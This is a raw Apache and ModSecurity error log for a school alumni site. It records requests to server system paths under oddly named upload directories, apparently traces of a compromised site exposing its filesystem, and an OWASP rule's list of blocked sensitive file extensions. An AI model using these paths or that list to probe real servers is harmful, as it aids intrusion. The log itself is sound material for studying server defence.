[Fri Jul 17 07:55:33.516218 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:34.012102 2026] [proxy_fcgi:error] [pid 1993574:tid 1993574] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:55:34.236227 2026] [proxy_fcgi:error] [pid 1993573:tid 1993573] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:55:34.444846 2026] [core:error] [pid 1994446:tid 1994446] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/pci0000:00/firmware_node/device:21/eject
[Fri Jul 17 07:55:34.459362 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:55:34.624951 2026] [proxy_fcgi:error] [pid 1994967:tid 1994967] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:55:34.724530 2026] [proxy_fcgi:error] [pid 1993574:tid 1993574] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:55:34.726131 2026] [security2:error] [pid 1993619:tid 1993619] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/13:66/subsystem/input3/device/resolution"] [unique_id "almSno1dLClkUfK_dfHanQAAAAI"]
[Fri Jul 17 07:55:34.726168 2026] [security2:error] [pid 1993619:tid 1993619] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/13:66/subsystem/input3/device/resolution"] [unique_id "almSno1dLClkUfK_dfHanQAAAAI"]
[Fri Jul 17 07:55:34.852769 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:35.108262 2026] [proxy_fcgi:error] [pid 1993675:tid 1993675] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:55:35.192899 2026] [proxy_fcgi:error] [pid 1996894:tid 1996894] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:55:35.395965 2026] [ssl:error] [pid 1993574:tid 1993574] (70014)End of file found: [client 66.85.158.91:39516] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:55:35.426792 2026] [proxy_fcgi:error] [pid 1993619:tid 1993619] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:55:35.602130 2026] [proxy_fcgi:error] [pid 1994976:tid 1994976] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:55:35.668998 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:35.905325 2026] [proxy_fcgi:error] [pid 1993584:tid 1993584] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:55:36.277880 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:39646] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:55:36.564280 2026] [security2:error] [pid 1993604:tid 1993604] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almSoIha5y5fYnQ1qRrpQQAAAAE"], referer: http://www.anandaobauae.org/?C=D;O=Auploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 07:55:36.564324 2026] [security2:error] [pid 1993604:tid 1993604] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almSoIha5y5fYnQ1qRrpQQAAAAE"], referer: http://www.anandaobauae.org/?C=D;O=Auploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 07:55:36.643936 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:36.646689 2026] [security2:error] [pid 1993668:tid 1993668] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/dev/char/13:67/device/subsystem/input3/"] [unique_id "almSoBAi3pC6yjXGNq12zQAAAAU"]
[Fri Jul 17 07:55:36.646715 2026] [security2:error] [pid 1993668:tid 1993668] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/dev/char/13:67/device/subsystem/input3/"] [unique_id "almSoBAi3pC6yjXGNq12zQAAAAU"]
[Fri Jul 17 07:55:36.735549 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:36.783815 2026] [proxy_fcgi:error] [pid 1994967:tid 1994967] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:55:37.287399 2026] [proxy_fcgi:error] [pid 1993584:tid 1993584] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:55:37.427845 2026] [proxy_fcgi:error] [pid 1993998:tid 1993998] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:55:37.625989 2026] [security2:error] [pid 1994976:tid 1994976] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almSoTRCJXF37-WnVv0cSQAAABI"], referer: http://www.anandaobauae.org/?C=D;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 07:55:37.626022 2026] [security2:error] [pid 1994976:tid 1994976] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almSoTRCJXF37-WnVv0cSQAAABI"], referer: http://www.anandaobauae.org/?C=D;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 07:55:37.640478 2026] [proxy_fcgi:error] [pid 1993659:tid 1993659] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:55:37.819508 2026] [proxy_fcgi:error] [pid 1994967:tid 1994967] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:55:38.028235 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:38.184757 2026] [proxy_fcgi:error] [pid 1996894:tid 1996894] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:55:38.395476 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:38.914162 2026] [ssl:error] [pid 1993604:tid 1993604] (70014)End of file found: [client 66.85.158.91:39934] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:55:39.502196 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:40.619368 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:40.800957 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:40.892350 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:41.103023 2026] [ssl:error] [pid 1993570:tid 1993570] (70014)End of file found: [client 66.85.158.91:40026] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:55:41.445673 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:41.537129 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:42.361141 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:60934] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:55:42.904360 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:42.995595 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:43.176982 2026] [core:error] [pid 1993619:tid 1993619] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/input/input4/device/driver/serio1/driver/bind
[Fri Jul 17 07:55:43.274692 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:43.455225 2026] [security2:error] [pid 1996894:tid 1996894] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty33/subsystem/tty13/dev"] [unique_id "almSp44Wmn5zySdNNkAeJgAAABM"]
[Fri Jul 17 07:55:43.455253 2026] [security2:error] [pid 1996894:tid 1996894] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty33/subsystem/tty13/dev"] [unique_id "almSp44Wmn5zySdNNkAeJgAAABM"]
[Fri Jul 17 07:55:43.758342 2026] [security2:error] [pid 1993998:tid 1993998] [client 47.82.48.1:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/lib/modprobe.d/dist-alsa.conf"] [unique_id "almSp2idQp3SsqeycPEmlQAAAAo"]
[Fri Jul 17 07:55:43.758892 2026] [security2:error] [pid 1993998:tid 1993998] [client 47.82.48.1:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/lib/modprobe.d/dist-alsa.conf"] [unique_id "almSp2idQp3SsqeycPEmlQAAAAo"]
[Fri Jul 17 07:55:43.788712 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:43.789044 2026] [security2:error] [pid 1993998:tid 1993998] [client 47.82.48.1:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/lib/modprobe.d/dist-alsa.conf"] [unique_id "almSp2idQp3SsqeycPEmlQAAAAo"]
[Fri Jul 17 07:55:44.929491 2026] [ssl:error] [pid 1994967:tid 1994967] (70014)End of file found: [client 66.85.158.91:60990] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:55:45.059525 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:45.116495 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:45.424200 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 47.82.52.118:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/fs/cgroup/memory/system.slice/chronyd.service/memory.force_empty
[Fri Jul 17 07:55:45.443332 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:45.866599 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:46.671841 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:46.854019 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:46.854162 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:46.854197 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:46.854223 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:46.854249 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:46.854273 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:46.854298 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:46.854322 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:46.854367 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:46.854391 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:46.854415 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:46.854439 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:46.854463 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:46.854487 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:46.854511 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:46.854554 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:46.854578 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:46.854602 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:46.854626 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:46.854650 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:46.854673 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:46.854698 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:46.854721 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:46.854745 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:46.854769 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:46.854793 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:46.854816 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:46.854840 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:46.854901 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:46.854928 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:46.854953 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:46.854977 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:46.855002 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:46.855028 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:46.855067 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:46.855118 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:46.855144 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:46.855168 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:46.855192 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:46.855216 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:46.855241 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:46.855291 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:46.855314 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:46.855339 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:46.855362 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:46.855386 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:46.855411 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:46.855434 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:46.855457 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:46.855487 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:46.855536 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:46.855572 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:47.219786 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:48.051919 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:48.099620 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:48.678290 2026] [core:error] [pid 1993574:tid 1993574] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/input/input4/device/subsystem/drivers/atkbd/bind
[Fri Jul 17 07:55:49.139617 2026] [security2:error] [pid 1993671:tid 1993671] [client 57.141.18.106:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory8/node0/memory114/node0/memory106/node0/memory114/subsystem/"] [unique_id "almSrQ5GPQ6hs4VrfMo3lgAAAAY"]
[Fri Jul 17 07:55:49.139657 2026] [security2:error] [pid 1993671:tid 1993671] [client 57.141.18.106:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory8/node0/memory114/node0/memory106/node0/memory114/subsystem/"] [unique_id "almSrQ5GPQ6hs4VrfMo3lgAAAAY"]
[Fri Jul 17 07:55:49.994488 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:51.411658 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:51.501907 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:51.685177 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:52.230810 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:52.594415 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:53.324869 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:53.519906 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:53.704406 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:54.082010 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:54.265074 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:54.631007 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:54.813537 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:54.906052 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:54.997294 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:55.367715 2026] [core:error] [pid 1994976:tid 1994976] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/226:0/device/driver/bind
[Fri Jul 17 07:55:56.194167 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:56.283535 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:56.374279 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:56.400350 2026] [security2:error] [pid 1993675:tid 1993675] [client 100.30.204.15:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "ksoft.web.lk"] [uri "/robots.txt"] [unique_id "almStDiSeFVxYLkcq6IXIAAAAAc"]
[Fri Jul 17 07:55:56.400830 2026] [security2:error] [pid 1993675:tid 1993675] [client 100.30.204.15:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ksoft.web.lk"] [uri "/robots.txt"] [unique_id "almStDiSeFVxYLkcq6IXIAAAAAc"]
[Fri Jul 17 07:55:56.401419 2026] [security2:error] [pid 1993675:tid 1993675] [client 100.30.204.15:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ksoft.web.lk"] [uri "/robots.txt"] [unique_id "almStDiSeFVxYLkcq6IXIAAAAAc"]
[Fri Jul 17 07:55:56.739838 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:57.194689 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:57.454812 2026] [ssl:error] [pid 1993659:tid 1993659] (70014)End of file found: [client 66.85.158.91:50070] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:55:57.655848 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:57.692705 2026] [security2:error] [pid 1993619:tid 1993619] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almStY1dLClkUfK_dfHauQAAAAI"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpg
